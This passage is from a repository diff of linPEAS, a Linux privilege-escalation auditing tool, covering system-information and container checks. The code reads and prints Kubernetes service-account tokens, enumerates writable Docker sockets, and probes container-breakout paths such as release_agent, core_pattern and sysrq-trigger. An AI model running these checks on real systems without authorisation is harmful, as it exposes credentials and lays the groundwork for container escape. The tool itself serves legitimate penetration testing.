linPEAS/builder/linpeas_parts/1_system_information/6_CPU_info.sh Normal file
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# Title: System Information - CPU info
# ID: SY_CPU_info
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Get Information about the CPU
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, warn_exec
# Global Variables: $DEBUG, $EXTRA_CHECKS
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 0
if [ "$EXTRA_CHECKS" ] || [ "$DEBUG" ]; then
print_2title "CPU info"
warn_exec lscpu 2>/dev/null
echo ""
fi

21
linPEAS/builder/linpeas_parts/1_system_information/7_Mounts.sh Normal file
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# Title: System Information - Mounts
# ID: SY_Mounts
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Get Information about the mounts
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_info
# Global Variables: $DEBUG, $mountG, $mountpermsB, $mountpermsG, $notmounted, $Wfolders, $mounted
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
if [ -f "/etc/fstab" ] || [ "$DEBUG" ]; then
print_2title "Unmounted file-system?"
print_info "Check if you can mount umounted devices"
grep -v "^#" /etc/fstab 2>/dev/null | grep -Ev "\W+\#|^#" | sed -${E} "s,$mountG,${SED_GREEN},g" | sed -${E} "s,$notmounted,${SED_RED},g" | sed -${E} "s%$mounted%${SED_BLUE}%g" | sed -${E} "s,$Wfolders,${SED_RED}," | sed -${E} "s,$mountpermsB,${SED_RED},g" | sed -${E} "s,$mountpermsG,${SED_GREEN},g"
echo ""
fi

27
linPEAS/builder/linpeas_parts/1_system_information/8_Disks.sh Normal file
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# Title: System Information - Disks
# ID: SY_Disks
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Get Information about the disks
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, warn_exec
# Global Variables: $DEBUG
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
if [ -d "/dev" ] || [ "$DEBUG" ] ; then
print_2title "Any sd*/disk* disk in /dev? (limit 20)"
ls /dev 2>/dev/null | grep -Ei "^sd|^disk" | sed "s,crypt,${SED_RED}," | head -n 20
echo ""
fi
if [ "$(command -v smbutil 2>/dev/null || echo -n '')" ] || [ "$DEBUG" ]; then
print_2title "Mounted SMB Shares"
warn_exec smbutil statshares -a
echo ""
fi

27
linPEAS/builder/linpeas_parts/1_system_information/9_Disks_extra.sh Normal file
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# Title: System Information - Disks
# ID: SY_Disks_extra
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Get Information about the disks
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, warn_exec
# Global Variables: $DEBUG, $EXTRA_CHECKS
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 0
if ([ "$(command -v diskutil 2>/dev/null || echo -n '')" ] || [ "$DEBUG" ]) && [ "$EXTRA_CHECKS" ]; then
print_2title "Mounted disks information"
warn_exec diskutil list
echo ""
fi
if [ "$EXTRA_CHECKS" ] || [ "$DEBUG" ]; then
print_2title "System stats"
(df -h || lsblk) 2>/dev/null || echo_not_found "df and lsblk"
warn_exec free 2>/dev/null
echo ""
fi

418
linPEAS/builder/linpeas_parts/2_container.sh
View File

@ -1,418 +0,0 @@
###########################################
#---------) Container functions (---------#
###########################################
containerCheck() {
inContainer=""
containerType="$(echo_no)"
# Are we inside docker?
if [ -f "/.dockerenv" ] ||
grep "/docker/" /proc/1/cgroup -qa 2>/dev/null ||
grep -qai docker /proc/self/cgroup 2>/dev/null ||
[ "$(find / -maxdepth 3 -name '*dockerenv*' -exec ls -la {} \; 2>/dev/null)" ] ; then
inContainer="1"
containerType="docker\n"
fi
# Are we inside kubernetes?
if grep "/kubepod" /proc/1/cgroup -qa 2>/dev/null ||
grep -qai kubepods /proc/self/cgroup 2>/dev/null; then
inContainer="1"
if [ "$containerType" ]; then containerType="$containerType (kubernetes)\n"
else containerType="kubernetes\n"
fi
fi
# Inside concourse?
if grep "/concourse" /proc/1/mounts -qa 2>/dev/null; then
inContainer="1"
if [ "$containerType" ]; then
containerType="$containerType (concourse)\n"
fi
fi
# Are we inside LXC?
if env | grep "container=lxc" -qa 2>/dev/null ||
grep "/lxc/" /proc/1/cgroup -qa 2>/dev/null; then
inContainer="1"
containerType="lxc\n"
fi
# Are we inside podman?
if env | grep -qa "container=podman" 2>/dev/null ||
grep -qa "container=podman" /proc/1/environ 2>/dev/null; then
inContainer="1"
containerType="podman\n"
fi
# Check for other container platforms that report themselves in PID 1 env
if [ -z "$inContainer" ]; then
if grep -a 'container=' /proc/1/environ 2>/dev/null; then
inContainer="1"
containerType="$(grep -a 'container=' /proc/1/environ | cut -d= -f2)\n"
fi
fi
}
inDockerGroup() {
DOCKER_GROUP="No"
if groups 2>/dev/null | grep -q '\bdocker\b'; then
DOCKER_GROUP="Yes"
fi
}
checkDockerRootless() {
DOCKER_ROOTLESS="No"
if docker info 2>/dev/null|grep -q rootless; then
DOCKER_ROOTLESS="Yes ($TIP_DOCKER_ROOTLESS)"
fi
}
enumerateDockerSockets() {
dockerVersion="$(echo_not_found)"
if ! [ "$SEARCHED_DOCKER_SOCKETS" ]; then
SEARCHED_DOCKER_SOCKETS="1"
for int_sock in $(find / ! -path "/sys/*" -type s -name "docker.sock" -o -name "docker.socket" -o -name "dockershim.sock" -o -name "containerd.sock" -o -name "crio.sock" -o -name "frakti.sock" -o -name "rktlet.sock" 2>/dev/null); do
if ! [ "$IAMROOT" ] && [ -w "$int_sock" ]; then
if echo "$int_sock" | grep -Eq "docker"; then
dock_sock="$int_sock"
echo "You have write permissions over Docker socket $dock_sock" | sed -${E} "s,$dock_sock,${SED_RED_YELLOW},g"
echo "Docker enummeration:"
docker_enumerated=""
if [ "$(command -v curl)" ]; then
sockInfoResponse="$(curl -s --unix-socket $dock_sock http://localhost/info)"
dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'ServerVersion' | cut -d'"' -f 4)
echo $sockInfoResponse | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"'
if [ "$sockInfoResponse" ]; then docker_enumerated="1"; fi
fi
if [ "$(command -v docker)" ] && ! [ "$docker_enumerated" ]; then
sockInfoResponse="$(docker info)"
dockerVersion=$(echo "$sockInfoResponse" | tr ',' '\n' | grep 'Server Version' | cut -d' ' -f 4)
printf "$sockInfoResponse" | tr ',' '\n' | grep -E "$GREP_DOCKER_SOCK_INFOS" | grep -v "$GREP_DOCKER_SOCK_INFOS_IGNORE" | tr -d '"'
fi
else
echo "You have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_RED},g"
fi
else
echo "You don't have write permissions over interesting socket $int_sock" | sed -${E} "s,$int_sock,${SED_GREEN},g"
fi
done
fi
}
checkDockerVersionExploits() {
if echo "$dockerVersion" | grep -iq "not found"; then
VULN_CVE_2019_13139="$(echo_not_found)"
VULN_CVE_2019_5736="$(echo_not_found)"
return
fi
VULN_CVE_2019_13139="$(echo_no)"
if [ "$(echo $dockerVersion | sed 's,\.,,g')" -lt "1895" ]; then
VULN_CVE_2019_13139="Yes"
fi
VULN_CVE_2019_5736="$(echo_no)"
if [ "$(echo $dockerVersion | sed 's,\.,,g')" -lt "1893" ]; then
VULN_CVE_2019_5736="Yes"
fi
}
checkContainerExploits() {
VULN_CVE_2019_5021="$(echo_no)"
if [ -f "/etc/alpine-release" ]; then
alpineVersion=$(cat /etc/alpine-release)
if [ "$(echo $alpineVersion | sed 's,\.,,g')" -ge "330" ] && [ "$(echo $alpineVersion | sed 's,\.,,g')" -le "360" ]; then
VULN_CVE_2019_5021="Yes"
fi
fi
}
checkCreateReleaseAgent(){
cat /proc/$$/cgroup 2>/dev/null | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$' | while read -r subsys
do
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup /tmp/cgroup_3628d4 2>&1 >/dev/null && test -w /tmp/cgroup_3628d4/release_agent" >/dev/null 2>&1 ; then
release_agent_breakout2="Yes (unshare with $subsys)";
rm -rf /tmp/cgroup_3628d4
break
fi
done
}
checkProcSysBreakouts(){
dev_mounted="No"
if [ $(ls -l /dev | grep -E "^c" | wc -l) -gt 50 ]; then
dev_mounted="Yes";
fi
proc_mounted="No"
if [ $(ls /proc | grep -E "^[0-9]" | wc -l) -gt 50 ]; then
proc_mounted="Yes";
fi
run_unshare=$(unshare -UrmC bash -c 'echo -n Yes' 2>/dev/null)
if ! [ "$run_unshare" = "Yes" ]; then
run_unshare="No"
fi
if [ "$(ls -l /sys/fs/cgroup/*/release_agent 2>/dev/null)" ]; then
release_agent_breakout1="Yes"
else
release_agent_breakout1="No"
fi
release_agent_breakout2="No"
mkdir /tmp/cgroup_3628d4
mount -t cgroup -o memory cgroup /tmp/cgroup_3628d4 2>/dev/null
if [ $? -eq 0 ]; then
release_agent_breakout2="Yes";
rm -rf /tmp/cgroup_3628d4
else
mount -t cgroup -o rdma cgroup /tmp/cgroup_3628d4 2>/dev/null
if [ $? -eq 0 ]; then
release_agent_breakout2="Yes";
rm -rf /tmp/cgroup_3628d4
else
checkCreateReleaseAgent
fi
fi
rm -rf /tmp/cgroup_3628d4 2>/dev/null
core_pattern_breakout="$( (echo -n '' > /proc/sys/kernel/core_pattern && echo Yes) 2>/dev/null || echo No)"
modprobe_present="$(ls -l `cat /proc/sys/kernel/modprobe` 2>/dev/null || echo No)"
panic_on_oom_dos="$( (echo -n '' > /proc/sys/vm/panic_on_oom && echo Yes) 2>/dev/null || echo No)"
panic_sys_fs_dos="$( (echo -n '' > /proc/sys/fs/suid_dumpable && echo Yes) 2>/dev/null || echo No)"
binfmt_misc_breakout="$( (echo -n '' > /proc/sys/fs/binfmt_misc/register && echo Yes) 2>/dev/null || echo No)"
proc_configgz_readable="$([ -r '/proc/config.gz' ] 2>/dev/null && echo Yes || echo No)"
sysreq_trigger_dos="$( (echo -n '' > /proc/sysrq-trigger && echo Yes) 2>/dev/null || echo No)"
kmsg_readable="$( (dmesg > /dev/null 2>&1 && echo Yes) 2>/dev/null || echo No)" # Kernel Exploit Dev
kallsyms_readable="$( (head -n 1 /proc/kallsyms > /dev/null && echo Yes )2>/dev/null || echo No)" # Kernel Exploit Dev
mem_readable="$( (head -n 1 /proc/self/mem > /dev/null && echo Yes) 2>/dev/null || echo No)"
if [ "$(head -n 1 /tmp/kcore 2>/dev/null)" ]; then kcore_readable="Yes"; else kcore_readable="No"; fi
kmem_readable="$( (head -n 1 /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)"
kmem_writable="$( (echo -n '' > /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)"
mem_readable="$( (head -n 1 /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)"
mem_writable="$( (echo -n '' > /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)"
sched_debug_readable="$( (head -n 1 /proc/sched_debug > /dev/null && echo Yes) 2>/dev/null || echo No)"
mountinfo_readable="$( (head -n 1 /proc/*/mountinfo > /dev/null && echo Yes) 2>/dev/null || echo No)"
uevent_helper_breakout="$( (echo -n '' > /sys/kernel/uevent_helper && echo Yes) 2>/dev/null || echo No)"
vmcoreinfo_readable="$( (head -n 1 /sys/kernel/vmcoreinfo > /dev/null && echo Yes) 2>/dev/null || echo No)"
security_present="$( (ls -l /sys/kernel/security > /dev/null && echo Yes) 2>/dev/null || echo No)"
security_writable="$( (echo -n '' > /sys/kernel/security/a && echo Yes) 2>/dev/null || echo No)"
efi_vars_writable="$( (echo -n '' > /sys/firmware/efi/vars && echo Yes) 2>/dev/null || echo No)"
efi_efivars_writable="$( (echo -n '' > /sys/firmware/efi/efivars && echo Yes) 2>/dev/null || echo No)"
}
##############################################
#---------------) Containers (---------------#
##############################################
containerCheck
print_2title "Container related tools present (if any):"
command -v docker
command -v lxc
command -v rkt
command -v kubectl
command -v podman
command -v runc
if [ "$$FAT_LINPEAS_AMICONTAINED" ]; then
print_2title "Am I Containered?"
execBin "AmIContainered" "https://github.com/genuinetools/amicontained" "$FAT_LINPEAS_AMICONTAINED"
fi
print_2title "Container details"
print_list "Is this a container? ...........$NC $containerType"
print_list "Any running containers? ........ "$NC
# Get counts of running containers for each platform
dockercontainers=$(docker ps --format "{{.Names}}" 2>/dev/null | wc -l)
podmancontainers=$(podman ps --format "{{.Names}}" 2>/dev/null | wc -l)
lxccontainers=$(lxc list -c n --format csv 2>/dev/null | wc -l)
rktcontainers=$(rkt list 2>/dev/null | tail -n +2 | wc -l)
if [ "$dockercontainers" -eq "0" ] && [ "$lxccontainers" -eq "0" ] && [ "$rktcontainers" -eq "0" ] && [ "$podmancontainers" -eq "0" ]; then
echo_no
else
containerCounts=""
if [ "$dockercontainers" -ne "0" ]; then containerCounts="${containerCounts}docker($dockercontainers) "; fi
if [ "$podmancontainers" -ne "0" ]; then containerCounts="${containerCounts}podman($podmancontainers) "; fi
if [ "$lxccontainers" -ne "0" ]; then containerCounts="${containerCounts}lxc($lxccontainers) "; fi
if [ "$rktcontainers" -ne "0" ]; then containerCounts="${containerCounts}rkt($rktcontainers) "; fi
echo "Yes $containerCounts" | sed -${E} "s,.*,${SED_RED},"
# List any running containers
if [ "$dockercontainers" -ne "0" ]; then echo "Running Docker Containers" | sed -${E} "s,.*,${SED_RED},"; docker ps | tail -n +2 2>/dev/null; echo ""; fi
if [ "$podmancontainers" -ne "0" ]; then echo "Running Podman Containers" | sed -${E} "s,.*,${SED_RED},"; podman ps | tail -n +2 2>/dev/null; echo ""; fi
if [ "$lxccontainers" -ne "0" ]; then echo "Running LXC Containers" | sed -${E} "s,.*,${SED_RED},"; lxc list 2>/dev/null; echo ""; fi
if [ "$rktcontainers" -ne "0" ]; then echo "Running RKT Containers" | sed -${E} "s,.*,${SED_RED},"; rkt list 2>/dev/null; echo ""; fi
fi
# If docker
if echo "$containerType" | grep -qi "docker"; then
print_2title "Docker Container details"
inDockerGroup
print_list "Am I inside Docker group .......$NC $DOCKER_GROUP\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "Looking and enumerating Docker Sockets (if any):\n"$NC
enumerateDockerSockets
print_list "Docker version .................$NC$dockerVersion"
checkDockerVersionExploits
print_list "Vulnerable to CVE-2019-5736 ....$NC$VULN_CVE_2019_5736"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "Vulnerable to CVE-2019-13139 ...$NC$VULN_CVE_2019_13139"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
if [ "$inContainer" ]; then
checkDockerRootless
print_list "Rootless Docker? ............... $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN},"
echo ""
fi
if df -h | grep docker; then
print_2title "Docker Overlays"
df -h | grep docker
fi
fi
# If token secrets mounted
if [ "$(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p')" ]; then
print_2title "Listing mounted tokens"
print_info "https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod"
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done
fi
if [ "$inContainer" ]; then
echo ""
print_2title "Container & breakout enumeration"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout"
print_list "Container ID ...................$NC $(cat /etc/hostname && echo -n '\n')"
if [ -f "/proc/1/cpuset" ] && echo "$containerType" | grep -qi "docker"; then
print_list "Container Full ID ..............$NC $(basename $(cat /proc/1/cpuset))\n"
fi
print_list "Seccomp enabled? ............... "$NC
([ "$(grep Seccomp /proc/self/status | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN},"
print_list "AppArmor profile? .............. "$NC
(cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN},"
print_list "User proc namespace? ........... "$NC
if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then (printf "enabled"; cat /proc/self/uid_map) | sed "s,enabled,${SED_GREEN},"; else echo "disabled" | sed "s,disabled,${SED_RED},"; fi
checkContainerExploits
print_list "Vulnerable to CVE-2019-5021 .... $VULN_CVE_2019_5021\n"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_3title "Breakout via mounts"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation/sensitive-mounts"
checkProcSysBreakouts
print_list "/proc mounted? ................. $proc_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "/dev mounted? .................. $dev_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "Run ushare ..................... $run_unshare\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "release_agent breakout 1........ $release_agent_breakout1\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "release_agent breakout 2........ $release_agent_breakout2\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "binfmt_misc breakout ........... $binfmt_misc_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "uevent_helper breakout ......... $uevent_helper_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "is modprobe present ............ $modprobe_present\n" | sed -${E} "s,/.*,${SED_RED},"
print_list "DoS via panic_on_oom ........... $panic_on_oom_dos\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "DoS via panic_sys_fs ........... $panic_sys_fs_dos\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "DoS via sysreq_trigger_dos ..... $sysreq_trigger_dos\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/config.gz readable ....... $proc_configgz_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/sched_debug readable ..... $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/*/mountinfo readable ..... $mountinfo_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/sys/kernel/security present ... $security_present\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/sys/kernel/security writable .. $security_writable\n" | sed -${E} "s,Yes,${SED_RED},"
if [ "$EXTRA_CHECKS" ]; then
print_list "/proc/kmsg readable ............ $kmsg_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/kallsyms readable ........ $kallsyms_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/self/mem readable ........ $sched_debug_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/kcore readable ........... $kcore_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/kmem readable ............ $kmem_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/kmem writable ............ $kmem_writable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/mem readable ............. $mem_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/proc/mem writable ............. $mem_writable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/sys/kernel/vmcoreinfo readable $vmcoreinfo_readable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/sys/firmware/efi/vars writable $efi_vars_writable\n" | sed -${E} "s,Yes,${SED_RED},"
print_list "/sys/firmware/efi/efivars writable $efi_efivars_writable\n" | sed -${E} "s,Yes,${SED_RED},"
fi
echo ""
print_3title "Namespaces"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/namespaces"
ls -l /proc/self/ns/
if echo "$containerType" | grep -qi "kubernetes"; then
print_list "Kubernetes namespace ...........$NC $(cat /run/secrets/kubernetes.io/serviceaccount/namespace /var/run/secrets/kubernetes.io/serviceaccount/namespace /secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)\n"
print_list "Kubernetes token ...............$NC $(cat /run/secrets/kubernetes.io/serviceaccount/token /var/run/secrets/kubernetes.io/serviceaccount/token /secrets/kubernetes.io/serviceaccount/token 2>/dev/null)\n"
echo ""
print_2title "Kubernetes Information"
print_info "https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod"
print_3title "Kubernetes service account folder"
ls -lR /run/secrets/kubernetes.io/ /var/run/secrets/kubernetes.io/ /secrets/kubernetes.io/ 2>/dev/null
echo ""
print_3title "Kubernetes env vars"
(env | set) | grep -Ei "kubernetes|kube" | grep -Ev "^WF=|^Wfolders=|^mounted=|^USEFUL_SOFTWARE='|^INT_HIDDEN_FILES=|^containerType="
echo ""
print_3title "Current sa user k8s permissions"
print_info "https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes"
kubectl auth can-i --list 2>/dev/null || curl -s -k -d "$(echo \"eyJraW5kIjoiU2VsZlN1YmplY3RSdWxlc1JldmlldyIsImFwaVZlcnNpb24iOiJhdXRob3JpemF0aW9uLms4cy5pby92MSIsIm1ldGFkYXRhIjp7ImNyZWF0aW9uVGltZXN0YW1wIjpudWxsfSwic3BlYyI6eyJuYW1lc3BhY2UiOiJlZXZlZSJ9LCJzdGF0dXMiOnsicmVzb3VyY2VSdWxlcyI6bnVsbCwibm9uUmVzb3VyY2VSdWxlcyI6bnVsbCwiaW5jb21wbGV0ZSI6ZmFsc2V9fQo=\"|base64 -d)" \
"https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-X 'POST' -H 'Content-Type: application/json' \
--header "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" | sed "s,secrets|exec|create|patch|impersonate|\"*\",${SED_RED},"
fi
echo ""
print_2title "Container Capabilities"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation#capabilities-abuse-escape"
if [ "$(command -v capsh)" ]; then
capsh --print 2>/dev/null | sed -${E} "s,$containercapsB,${SED_RED},g"
else
defautl_docker_caps="00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap"
cat /proc/self/status | tr '\t' ' ' | grep Cap | sed -${E} "s, .*,${SED_RED},g" | sed -${E} "s/00000000a80425fb/$defautl_docker_caps/g" | sed -${E} "s,0000000000000000|00000000a80425fb,${SED_GREEN},g"
echo $ITALIC"Run capsh --decode=<hex> to decode the capabilities"$NC
fi
echo ""
print_2title "Privilege Mode"
if [ -x "$(command -v fdisk)" ]; then
if [ "$(fdisk -l 2>/dev/null | wc -l)" -gt 0 ]; then
echo "Privilege Mode is enabled"| sed -${E} "s,enabled,${SED_RED_YELLOW},"
else
echo "Privilege Mode is disabled"| sed -${E} "s,disabled,${SED_GREEN},"
fi
else
echo_not_found
fi
echo ""
print_2title "Interesting Files Mounted"
(mount -l || cat /proc/self/mountinfo || cat /proc/1/mountinfo || cat /proc/mounts || cat /proc/self/mounts || cat /proc/1/mounts )2>/dev/null | grep -Ev "$GREP_IGNORE_MOUNTS" | sed -${E} "s,.sock,${SED_RED}," | sed -${E} "s,docker.sock,${SED_RED_YELLOW}," | sed -${E} "s,/dev/,${SED_RED},g"
echo ""
print_2title "Possible Entrypoints"
ls -lah /*.sh /*entrypoint* /**/entrypoint* /**/*.sh /deploy* 2>/dev/null | sort | uniq
echo ""
fi

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@ -0,0 +1,22 @@
# Title: Container - Container Tools
# ID: CT_Container_tools
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Find container related tools in the PATH of the system
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title
# Global Variables:
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
print_2title "Container related tools present (if any):"
command -v docker || echo -n ''
command -v lxc || echo -n ''
command -v rkt || echo -n ''
command -v kubectl || echo -n ''
command -v podman || echo -n ''
command -v runc || echo -n ''

32
linPEAS/builder/linpeas_parts/2_container/2_List_mounted_tokens.sh Normal file
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# Title: Container - List mounted tokens
# ID: CT_List_mounted_tokens
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: List tokens mounted in the system if any
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_info
# Global Variables:
# Initial Functions:
# Generated Global Variables: $ALREADY_TOKENS, $TEMP_TOKEN
# Fat linpeas: 0
# Small linpeas: 1
if [ "$(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p')" ]; then
print_2title "Listing mounted tokens"
print_info "https://book.hacktricks.xyz/cloud-security/pentesting-kubernetes/attacking-kubernetes-from-inside-a-pod"
ALREADY_TOKENS="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TEMP_TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TEMP_TOKEN | grep -E $ALREADY_TOKENS) ]; then
ALREADY_TOKENS="$ALREADY_TOKENS|$TEMP_TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TEMP_TOKEN
echo "================================================================================"
echo ""
fi
done
fi

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# Title: Container - Container details
# ID: CT_Container_details
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Get container details
# License: GNU GPL
# Version: 1.0
# Functions Used: containerCheck, echo_no, print_2title, print_list
# Global Variables: $containerType
# Initial Functions: containerCheck
# Generated Global Variables: $dockercontainers, $podmancontainers, $lxccontainers, $rktcontainers, $containerCounts
# Fat linpeas: 0
# Small linpeas: 1
print_2title "Container details"
print_list "Is this a container? ...........$NC $containerType"
print_list "Any running containers? ........ "$NC
# Get counts of running containers for each platform
dockercontainers=$(docker ps --format "{{.Names}}" 2>/dev/null | wc -l)
podmancontainers=$(podman ps --format "{{.Names}}" 2>/dev/null | wc -l)
lxccontainers=$(lxc list -c n --format csv 2>/dev/null | wc -l)
rktcontainers=$(rkt list 2>/dev/null | tail -n +2 | wc -l)
if [ "$dockercontainers" -eq "0" ] && [ "$lxccontainers" -eq "0" ] && [ "$rktcontainers" -eq "0" ] && [ "$podmancontainers" -eq "0" ]; then
echo_no
else
containerCounts=""
if [ "$dockercontainers" -ne "0" ]; then containerCounts="${containerCounts}docker($dockercontainers) "; fi
if [ "$podmancontainers" -ne "0" ]; then containerCounts="${containerCounts}podman($podmancontainers) "; fi
if [ "$lxccontainers" -ne "0" ]; then containerCounts="${containerCounts}lxc($lxccontainers) "; fi
if [ "$rktcontainers" -ne "0" ]; then containerCounts="${containerCounts}rkt($rktcontainers) "; fi
echo "Yes $containerCounts" | sed -${E} "s,.*,${SED_RED},"
# List any running containers
if [ "$dockercontainers" -ne "0" ]; then echo "Running Docker Containers" | sed -${E} "s,.*,${SED_RED},"; docker ps | tail -n +2 2>/dev/null; echo ""; fi
if [ "$podmancontainers" -ne "0" ]; then echo "Running Podman Containers" | sed -${E} "s,.*,${SED_RED},"; podman ps | tail -n +2 2>/dev/null; echo ""; fi
if [ "$lxccontainers" -ne "0" ]; then echo "Running LXC Containers" | sed -${E} "s,.*,${SED_RED},"; lxc list 2>/dev/null; echo ""; fi
if [ "$rktcontainers" -ne "0" ]; then echo "Running RKT Containers" | sed -${E} "s,.*,${SED_RED},"; rkt list 2>/dev/null; echo ""; fi
fi

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# Title: Container - Docker Container details
# ID: CT_Docker_container_details
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Get docker Container details from the inside
# License: GNU GPL
# Version: 1.0
# Functions Used: checkDockerRootless, checkDockerVersionExploits, containerCheck, enumerateDockerSockets, inDockerGroup, print_2title, print_list
# Global Variables: $containerType, $DOCKER_GROUP, $DOCKER_ROOTLESS, $dockerVersion, $inContainer, $VULN_CVE_2019_5736, $VULN_CVE_2019_13139, $VULN_CVE_2021_41091
# Initial Functions: containerCheck
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
#If docker
if echo "$containerType" | grep -qi "docker"; then
print_2title "Docker Container details"
inDockerGroup
print_list "Am I inside Docker group .......$NC $DOCKER_GROUP\n" | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "Looking and enumerating Docker Sockets (if any):\n"$NC
enumerateDockerSockets
print_list "Docker version .................$NC$dockerVersion"
checkDockerVersionExploits
print_list "Vulnerable to CVE-2019-5736 ....$NC$VULN_CVE_2019_5736"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "Vulnerable to CVE-2019-13139 ...$NC$VULN_CVE_2019_13139"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
print_list "Vulnerable to CVE-2021-41091 ...$NC$VULN_CVE_2021_41091"$NC | sed -${E} "s,Yes,${SED_RED_YELLOW},"
if [ "$inContainer" ]; then
checkDockerRootless
print_list "Rootless Docker? ............... $DOCKER_ROOTLESS\n"$NC | sed -${E} "s,No,${SED_RED}," | sed -${E} "s,Yes,${SED_GREEN},"
echo ""
fi
if df -h | grep docker; then
print_2title "Docker Overlays"
